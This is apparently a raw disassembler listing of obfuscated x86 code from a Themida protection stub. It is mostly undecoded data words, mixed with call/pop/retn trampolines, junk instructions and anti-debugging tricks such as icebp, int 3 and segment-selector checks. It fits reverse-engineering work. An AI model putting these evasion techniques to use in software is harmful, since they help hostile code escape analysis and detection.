		dd 24448104h, 1704h, 0C3564600h, 4F2CF271h, 314D8D8Dh
		dd 0B58906A8h, 6A83399h, 1C7h, 6A0000h,	3E851h,	59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0E980A3C3h
		dd 0Dh,	2AE0D31h, 65EF7550h, 90F9F6CEh,	441C7EAh, 0
; ---------------------------------------------------------------------------
		or	[ebp+6A81991h],	ecx
		and	di, 3DC2h
		or	eax, eax
		jz	loc_5866DA
		push	0
		push	esi
		call	sub_58668A
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58668A	proc near		; CODE XREF: Themida_:00586682p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_58668A	endp

; ---------------------------------------------------------------------------
		mov	eax, ds:14C98589h
		test	al, 6
		lea	ecx, [ebp+6A84FAFh]
		push	0
		push	ecx
		call	sub_5866B2
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5866B2	proc near		; CODE XREF: Themida_:005866AAp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_5866B2	endp

; ---------------------------------------------------------------------------
		mov	ds:2165F849h, al
		sbb	[esi-75h], esp
		icebp
		pusha
		popa
		mov	eax, 5
		jmp	ecx
; ---------------------------------------------------------------------------
		mov	[ebp+6A833D1h],	ecx


loc_5866DA:				; CODE XREF: Themida_:00586679j
		lea	ecx, [ebp+6A8314Dh]
		push	0
		push	ebx
		call	sub_5866EB
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5866EB	proc near		; CODE XREF: Themida_:005866E3p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 18h
		inc	ebx
		push	ebx
		retn
sub_5866EB	endp

; ---------------------------------------------------------------------------
		db 5Fh
		dd 0D27F99A2h, 5D58D29h, 1C706A8h, 44AA727Ch, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 2AC35141h, 0A593C264h
		dd 0EC3D4573h, 0CFCB0181h, 6A1499h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 180424h, 51410000h, 55199AC3h
		dd 41C760B2h, 78753C04h, 44181CEh, 31D6D710h, 14E9h, 29511000h
		dd 7F03F499h, 34396C1Ch, 0DDDC2C39h, 1138083Bh,	259D89F8h
		dd 6A06A805h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 4D858D1Fh, 5006A831h, 13E860h, 89A40000h
		dd 18588413h, 0C8902775h, 209670A1h, 49C398F4h,	0C78A5B1Fh
		dd 24048961h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 17h,	36C35545h, 0F540C054h, 312595FFh, 858906A8h, 6A809A9h
		dd 314D8D8Dh, 6A06A8h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 1C79DC3h, 0
; ---------------------------------------------------------------------------
		jnp	loc_586828
		add	[ebp+6A80E6Dh],	edi


loc_586828:				; CODE XREF: Themida_:0058681Cj
		mov	dword ptr [ecx+4], 0
		push	0
		push	ebx
		call	sub_58683A
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58683A	proc near		; CODE XREF: Themida_:00586832p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_58683A	endp

; ---------------------------------------------------------------------------
		mov	bl, 0E3h
		mov	dword ptr [eax-1Ah], 63DA751h
		or	eax, eax
		jz	loc_58689D
		mov	[ebp+6A83279h],	esi
		lea	ecx, [ebp+6A84FAFh]
		mov	edi, [ebp+6A81AA1h]
		mov	eax, 5
		push	0
		push	ebp
		call	sub_58687D
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58687D	proc near		; CODE XREF: Themida_:00586875p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_58687D	endp

; ---------------------------------------------------------------------------
		cld
		pop	esp
		sub	esi, 184B5B22h
		jmp	ecx
; ---------------------------------------------------------------------------
		mov	[ebp+6A822D9h],	edi


loc_58689D:				; CODE XREF: Themida_:00586855j
		lea	ecx, [ebp+6A8314Dh]
		push	0
		push	ebx
		call	sub_5868AE
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5868AE	proc near		; CODE XREF: Themida_:005868A6p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 17h
		inc	ebx
		push	ebx
		retn
sub_5868AE	endp

; ---------------------------------------------------------------------------
		dw 284Ch
; ---------------------------------------------------------------------------
		fbstp	tbyte ptr [edi+eax*8+1]
		movsd
		xchg	eax, ebp
		retf	6A54h
; ---------------------------------------------------------------------------
		align 2
		push	edi
		call	sub_5868D3
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5868D3	proc near		; CODE XREF: Themida_:005868CBp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_5868D3	endp

; ---------------------------------------------------------------------------
		db 67h
; ---------------------------------------------------------------------------
		mov	edx, 1D5FA5E7h
		add	byte ptr [ecx-663034FFh], 14h
		push	0
		push	ebx
		call	sub_5868FB
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5868FB	proc near		; CODE XREF: Themida_:005868F3p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_5868FB	endp

; ---------------------------------------------------------------------------
		sub	al, 88h
		add	bl, [edx+7D4192A1h]
		test	eax, 49BD336Eh
		sbb	ebp, [eax+441C706h]
		imul	ebx, [ecx+5Fh],	8D0153CEh
		adc	eax, 5F06A82Eh
		add	dword ptr [ecx+4], 31D6D710h
		push	0
		lea	eax, [ebp+6A8314Dh]
		push	0
		push	edi
		call	sub_586944
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_586944	proc near		; CODE XREF: Themida_:0058693Cp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h
		inc	edi
		push	edi
		retn
sub_586944	endp

; ---------------------------------------------------------------------------
		das
		retf
; ---------------------------------------------------------------------------
		dw 0EE85h
		dd 5050B561h, 5A310F52h, 24048958h, 13E957h, 0A3850000h
		dd 46A0D618h, 0DF30D117h, 17F5E18Ch, 95A779B6h,	95FF5FD8h
		dd 6A83125h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 14h,	10C35242h, 6FEE8166h, 85B58B8Fh, 8D06A800h, 0A8314D8Dh
		dd 68E0F06h, 89000000h,	0A8333D8Dh, 1C706h, 0C7000000h
		dd 441h, 6A0000h, 3E856h, 5E200000h, 74895EC3h,	44810424h
		dd 1B0424h, 56460000h, 917032C3h, 0A2121192h, 0EE88Eh
		dd 6DD90000h, 720457ABh, 9C82F492h, 2E43030h, 30B5BD0Bh
		dd 0B5E06A8h, 65840FC0h, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 53ECC351h
		dd 0F207E36h, 189h, 8D8DF500h, 6A84FAFh, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 18h, 57C35545h, 849AF7EFh
		dd 34D58D89h, 5B806A8h,	66000000h, 8D2BCE81h, 9D89E1FFh
		dd 6A8025Dh, 84E9CA03h,	60FFFFF2h, 2A1D9589h, 515606A8h
		dd 8B615F5Fh, 0A82E41B5h, 29800F06h, 0F000000h,	485h, 79BE6600h
		dd 11E853B8h, 54000000h, 877FB406h, 4C2F0C37h, 0C6687C2Eh
		dd 420B045Eh, 800F5Eh, 5E000000h, 6AC18Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0CE8B11C3h
		dd 12E9BCh, 0B53E0000h,	2C977456h, 13F33D42h, 9D282A56h
		dd 5F2067B6h, 4EBh, 6A0000h, 3E852h, 5A200000h,	54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 2E3CCDC3h, 0EDFDEB2Ch
		dd 858DF578h, 6A83385h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 16h, 28C35646h, 50907B55h,	2AD68190h, 6A6E4AFDh
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 75514423h, 19C8F836h, 0BF66568Bh, 6AB7F1h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 22C35343h
		dd 60AEA514h, 0E2816656h, 8A5BBD00h, 858D61D5h,	6ABD29Dh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 62C35242h
		dd 6B8C89C7h, 0F1E794Fh, 686h, 3DBD2300h, 0F06A82Bh, 48Ch
		dd 83BE6600h, 5C083BCh,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 14h, 4AC35141h, 8B0F6090h,	2, 66606160h, 6109C2B9h
		dd 0EE85061h, 0C6000000h, 8AF0A31Dh, 65CCAA8Dh,	0CBC9E4CDh
		dd 89905F0Fh, 0A816B5B5h, 6A006A06h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 3B26C353h
		dd 0CC9A6FBBh, 6AF18Bh,	38C0Fh,	0B70F0000h, 4195FFF6h
		dd 6A06A825h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 6DEBC355h, 8B292BF5h, 0A82EDDB5h
		dd 39BD0106h, 8D06A806h, 0AB8C7F9Dh, 0EE816606h, 0D3FF2252h
		dd 85FFF28Bh, 6A833F1h,	0AF19D89h, 9EE906A8h, 0E8000007h
		dd 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 6ABD2A7h
		mov	[ebp+6A80CF9h],	eax
		cmp	dword ptr [ebp+6A8176Dh], 7D0h
		jbe	loc_586DEF
		push	0
		push	eax
		call	sub_586CDC
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_586CDC	proc near		; CODE XREF: Themida_:00586CD4p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_586CDC	endp

; ---------------------------------------------------------------------------
		dd 0F1080A22h, 6F4817B7h, 816641C1h, 8BDDCDDFh,	0A809419Dh
		dd 6800F06h, 31000000h,	0A8333D85h, 0E38106h, 29000001h
		dd 0A81755BDh, 0FDB0B06h, 6E85h, 0E4D68100h, 8363DD4Ah
		dd 0ABD0E9BDh, 840F0006h, 1Eh, 0E9FB8B66h, 84h,	11E9h
		dd 7680CB00h, 4C14EB85h, 7B38B29Dh, 7277DEADh, 85C73333h
		dd 6ABD0E9h, 1,	5DE95E51h, 6A000000h, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 6CE2C356h
		dd 3521BD03h, 8B6606A8h, 0B98509F2h, 0C706A820h, 0ABD0E985h
		dd 6, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1B04h, 0C3554500h, 0B21E706h, 0DA4C7B69h, 45EBBF66h
		dd 9419D8Dh, 238106A8h,	0FFFFFEFFh, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 15h, 0C1C35040h,	0E9BD8B2Fh
		db 0Ah,	0A8h, 6
; ---------------------------------------------------------------------------


loc_586DEF:				; CODE XREF: Themida_:00586CCBj
		mov	bx, ds
		mov	[ebp+6A81DE9h],	esi
		test	bl, 4
		jz	loc_586E6E
		mov	esi, edx
		call	dword ptr [ebp+6A8068Dh]
		push	0
		push	eax
		call	sub_586E14
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_586E14	proc near		; CODE XREF: Themida_:00586E0Cp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 18h
		inc	eax
		push	eax
		retn
sub_586E14	endp

; ---------------------------------------------------------------------------
		dd 20025E9Ch, 11E9A0h, 88D50000h, 15606CD5h, 0F512825Ah
		dd 226B67Ah, 50D65F18h,	6A240489h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 8EE2C355h
		dd 47D07B1Dh, 5F305159h, 3055BD8Bh
; ---------------------------------------------------------------------------
		test	al, 6


loc_586E6E:				; CODE XREF: Themida_:00586DFBj
		jmp	loc_587224
; ---------------------------------------------------------------------------
		db 8Bh
		dd 6600B0FAh, 0E6468DBEh, 52006A70h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 55CBE75h, 8D896438h
		dd 6A82F3Dh, 816671E4h,	0F5EB9CEh, 6BAD8B6h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 9577C352h, 0A82B8E28h, 5E9F686h, 75000000h
		dd 6BA75F2Fh, 9529C38Bh, 6A805D5h, 0CE8h, 8E0D1100h, 22AFEB76h
		dd 6C0CA63Ah, 0BD9D8949h, 5E06A80Eh, 6604E8C1h,	6AE2F7h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 51BCC5C3h, 7DE8803Dh, 9589D90Ah, 6A816B5h, 0D8D0Fh
		dd 66600000h, 7989E081h, 304D8D89h, 2B6106A8h, 57006AD8h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 0C1ABA71Fh, 816691E5h, 93FAB8DEh, 2880F50h, 60000000h
		dd 8B505F61h, 6A93F9h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 24EB35C3h, 81C07615h, 0BE74C9C6h
		dd 0FD9D8945h, 0FF06A80Dh, 0A8176DB5h, 0EE906h,	6B3A0000h
		dd 64F7E94Dh, 749DC6F9h, 743A88D4h, 0F7C4CF81h,	95FF061Ah
		dd 6A81B31h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ah,	33C35646h, 1A7D7823h, 0B0F553C3h, 39BD8B00h, 8B06A81Fh
		dd 0A81665B5h, 0E970E606h, 5, 9CDBBEDAh, 6A71E41Bh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 6D12C352h, 899D8976h, 0F06A81Dh, 48Dh, 11BF6600h, 0F613C5Dh
		dd 1E383h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1B04h, 0C3504000h, 0B296F2A3h, 3959DFA3h, 0FC9BD33h
		dd 0B60F06A8h, 53006AD8h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 0B815BE19h, 6BA1D02h
		dd 66000000h, 5058E681h, 0BD8BC38Bh, 6A82121h, 0E2CABF66h
		dd 8104E8C1h, 0D2E828E7h, 0E2F76650h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 18h, 0E8C35040h,	0A939AB7Fh, 1659B58Bh
		dd 0D82B06A8h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	2CC35141h, 0B3F74E15h, 0B58B1274h, 6A82CE5h, 2F0D8589h
		dd 95806A8h, 0A802E1B5h, 0FD82B06h, 10F88h, 7B900h, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 524181C3h, 0B68BB95Ah, 5BBE66D5h, 519D89CEh,	8306A82Bh
		dd 0D93B00C1h, 0D2860Fh, 8B660000h, 0D98C66FEh,	0B4BCC781h
		dd 0F6F8635Dh, 840F04C1h, 9Ah, 3860Fh, 0BF0F0000h, 8D95FFF7h
		dd 0F06A806h, 84h, 89605B00h, 0A8306195h, 919D2906h, 6106A80Bh
		dd 870FC32Bh, 2, 343DFB8Bh, 0F000008h, 6186h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 0BF6FC62Bh, 0F725B1C1h, 66CE8150h, 0E90C4662h, 9, 9E067F6h
		dd 51F573D5h, 46E9D4h, 6A0000h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 9691ECC3h, 1EF19531h
		dd 0C08B06A8h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 18h,	6CC35242h, 0A13AAF93h
; ---------------------------------------------------------------------------


loc_587224:				; CODE XREF: Themida_:loc_586E6Ej
		mov	eax, ebx
		mov	ebx, eax
		jnb	loc_587234
		mov	esi, [ebp+6A819C5h]


loc_587234:				; CODE XREF: Themida_:00587228j
		mov	dword ptr [ebp+6A81E4Dh], 156ECB7Bh
		mov	edi, [ebp+6A82F65h]
		mov	eax, eax
		movzx	edi, di
		cmp	dword ptr [ebp+6A8176Dh], 7D0h
		jnz	loc_5872AF
		push	0
		push	ebp
		call	sub_587264
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_587264	proc near		; CODE XREF: Themida_:0058725Cp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_587264	endp

; ---------------------------------------------------------------------------
		dd 0C81B7861h, 8323EFBFh, 1840F16h, 0F5000000h,	176D85FFh
		dd 6A06A8h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
		dd 51410000h, 0B7208FC3h, 0BAA1B2FCh
; ---------------------------------------------------------------------------
		xchg	eax, ecx
		mov	ah, 0E0h


loc_5872AF:				; CODE XREF: Themida_:00587253j
		push	dword ptr [ebp+6A8176Dh]
		push	0
		push	ecx
		call	sub_5872C0
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5872C0	proc near		; CODE XREF: Themida_:005872B8p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_5872C0	endp

; ---------------------------------------------------------------------------
		cmpsd
		les	edx, [edi]
		and	edi, 4657D15Bh
		push	esi
		mov	[ebp+6A806A5h],	edx
		pop	edi
		call	dword ptr [ebp+6A81B31h]
		mov	esi, 61348445h
		nop
		mov	[ebp+6A828B1h],	edi
		mov	edi, [ebp+6A819B9h]
		mov	[ebp+6A81B21h],	edx
		jmp	loc_587316
; ---------------------------------------------------------------------------
		dd 33562A1Ch, 5EE37C57h, 2E53E41Fh, 0F8005639h
		db 0E2h, 53h
; ---------------------------------------------------------------------------


loc_587316:				; CODE XREF: Themida_:005872FFj
		push	ecx
		cmc
		add	esi, [ebp+6A807F9h]
		pop	edi
		push	0
		push	edi
		call	sub_58732A
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58732A	proc near		; CODE XREF: Themida_:00587322p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh
		inc	edi
		push	edi
		retn
sub_58732A	endp

; ---------------------------------------------------------------------------
		dw 0BCEDh
; ---------------------------------------------------------------------------
		mov	ecx, 3605FA95h
		dec	eax
		push	0
		push	ebx
		call	sub_58734D
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58734D	proc near		; CODE XREF: Themida_:00587345p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 17h
		inc	ebx
		push	ebx
		retn
sub_58734D	endp

; ---------------------------------------------------------------------------
		stosd
		das
		mov	ch, 0Dh
		mov	esi, edx
		push	0
		push	ebp
		call	sub_58736E
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58736E	proc near		; CODE XREF: Themida_:00587366p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_58736E	endp

; ---------------------------------------------------------------------------
		dw 0BEEh
; ---------------------------------------------------------------------------
		xor	edi, [ebp+6A80211h]
		mov	edi, [ebp+6A80C89h]
		push	0
		push	ebx
		call	sub_587397
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_587397	proc near		; CODE XREF: Themida_:0058738Fp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_587397	endp

; ---------------------------------------------------------------------------
		db 19h
		dd 939D1F4Dh, 6856116Eh, 51A3C781h, 13E9446Dh, 0BB000000h
		dd 1C7007D0h, 887B356Fh, 819778Bh, 1361A4B6h, 0F681B43Ch
		dd 673FC9D3h, 0F319D29h, 6A06A8h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 2037FBC3h, 0C64F92CFh
		dd 9D894E1Bh, 6A80E45h,	1DDD8D89h, 0BD0106A8h, 6A80AC5h
		dd 0FFF89AE9h, 50006AFFh, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 82DA6C67h, 8BD22492h
		dd 0A80DE9B5h, 0B19D8906h, 5106A815h, 0BD89F08Bh, 6A80721h
		dd 56C18B5Fh, 5EF88B66h, 4EBh, 6A0000h,	3E851h,	59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0A25966C3h
		dd 0CC551BC3h, 42BFD5BEh, 6A02BFA6h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 9D68C350h
		dd 0FE88F876h, 0E7C01150h, 3385858Dh, 6A06A8h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 1D7B48C3h, 81BD8B46h, 3106A831h, 0A80E398Dh,	8B669006h
		dd 0E96050F7h, 11h, 3A125976h, 0A2DFE6B6h, 0F2378D19h
		dd 317A2EA2h, 6850F5Fh,	0F000000h, 85h,	6A906100h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 0C080C352h, 0EE8102BCh, 6B887E81h, 9E9h, 0F215C800h
		dd 0FC57B3C8h, 6AF5D2h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 18h, 7AC35040h, 0A6855351h, 21DE8166h, 6A006A98h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 0C521C351h, 651BD89h, 0B52306A8h,	6A8008Dh
		dd 7E8h, 0BF522400h, 2595528Ah,	0A3858D5Fh, 8106ABDCh
		dd 97D2B4F6h, 5C0833Ah,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 5BC35747h, 47BE90D0h,	504EF0D2h, 79BF5790h
		dd 5F209581h, 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 0F9F67C3h, 684h,	0B18D3100h, 6A06A833h
		dd 0B1BD8900h, 0FF06A809h, 0A8254195h, 53006A06h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h
		dd 0ADEB7C1Fh, 59BDAECEh, 8DF28B4Fh, 0AB8C7F9Dh, 0C5BD8B06h
		dd 0FF06A81Ah, 55006AD3h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 3DAE4EDAh, 0E9194587h
		dd 8, 6F6D1505h, 10F976DCh, 33F185FFh, 6A06A8h,	3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 8B9D4DC3h, 0A81425B5h, 9D8B6006h, 6A83149h, 68B0Fh
		dd 85890000h, 6A807F1h,	1880F61h, 0FC000000h, 874E9h, 0E800h
		dd 815D0000h, 0ABDCADEDh, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 2165F849h
		dd 660F8219h, 6008DF81h, 0AE8h,	899A9A00h, 35850079h, 0FB4A899h
		dd 38Bh, 0FB8B6600h, 6DBD815Fh,	0D006A817h, 0F000007h
		dd 15D86h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1904h, 0C3564600h, 7DCAE7Fh,	56BE541Ch, 8B4CFFCBh, 0A8324D9Dh
		dd 5DB58B06h, 8106A82Bh, 100E3h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 5FFAC78Dh
		dd 0DA344498h, 81669CBAh, 0B2F18F6h, 8B850FDBh,	6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 838DC356h, 0ABDA49BDh, 840F0006h,	4Eh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 48C35646h, 8DA67D2Ch
		dd 0FFB9F68Eh, 4FE9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 0B9F54BFEh, 2171B58Bh
		dd 85C706A8h, 6ABDA49h,	1, 82F68166h, 16E918h, 85C70000h
		dd 6ABDA49h, 0
; ---------------------------------------------------------------------------
		and	esi, 2DA7BA9h
		mov	[ebp+6A81F81h],	esi
		lea	ebx, [ebp+6A8324Dh]
		push	0
		push	ecx
		call	sub_58782D
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58782D	proc near		; CODE XREF: Themida_:00587825p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_58782D	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		cld
		push	ds
		dec	ebx
		aad	4Dh
		and	esi, [edx+1E19BD8Bh]
		test	al, 6
		and	dword ptr [ebx], 0FFFFFEFFh
		push	0
		push	edi
		call	sub_58785C
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58785C	proc near		; CODE XREF: Themida_:00587854p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_58785C	endp

; ---------------------------------------------------------------------------
		pop	eax
		push	ecx
		mov	bx, ds
		push	0
		push	eax
		call	sub_58787C
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58787C	proc near		; CODE XREF: Themida_:00587874p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_58787C	endp

; ---------------------------------------------------------------------------
		xor	esi, [eax-482F742Dh]
		sub	al, 0E2h
		aas
		int	3		; Trap to Debugger
		movzx	edi, cx
		test	bl, 4
		jz	loc_5878F0
		jmp	loc_5878AD
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0D04A32DDh
		db 3Ch
; ---------------------------------------------------------------------------


loc_5878AD:				; CODE XREF: Themida_:005878A2j
		call	dword ptr [ebp+6A8068Dh]
		xor	[ebp+6A80145h],	ecx
		nop
		pusha
		js	loc_5878C5
		mov	ax, 0E637h


loc_5878C5:				; CODE XREF: Themida_:005878BBj
		jge	loc_5878E1
		call	sub_5878E0
		mov	bl, 0E8h
		db	36h
		mov	ch, 0DEh
		setp	byte ptr [edi+ebx*4+73h]
		daa
; ---------------------------------------------------------------------------
		db 8Eh
; ---------------------------------------------------------------------------
		enter	0FFFFD4DFh, 0F5h

; =============== S U B	R O U T	I N E =======================================



sub_5878E0	proc near		; CODE XREF: Themida_:005878CBp
		pop	ecx


loc_5878E1:				; CODE XREF: Themida_:loc_5878C5j
		popa
		push	eax
		js	$+6
		nop
		mov	esi, [ebp+6A80521h]


loc_5878F0:				; CODE XREF: Themida_:0058789Cj
		jmp	loc_587CB4
; ---------------------------------------------------------------------------
		db 60h,	1, 85h
		dd 6A82195h, 0B559D29h,	0B06106A8h, 1EBE6600h, 6A70E6E9h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 1A1CC350h, 68D0Fh, 95290000h, 6A833A1h, 0C0DB503h
		dd 71E406A8h, 0FF9BF0Fh, 0BE66D8B6h, 6BA3330h, 8B000000h
		dd 0A806C9B5h, 6AC38B06h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 0E6E4C357h,	9C02C26Dh
		dd 0C11BE2B0h, 0BE6604E8h, 0F766739Ch, 8BD82BE2h, 0A81401B5h
		dd 0BF669306h, 0E950CA76h, 12h,	0C3D68D7Eh, 0CB777D2Fh
		dd 7DB32EADh, 32AC66D3h, 0F893BA43h, 176DB5FFh,	6A06A8h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 8B7B2EC3h, 8C0F18h, 89000000h, 0A80C0DB5h, 158D8906h
		dd 0FF06A806h, 0A81B3195h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 2600347h, 81A95C02h
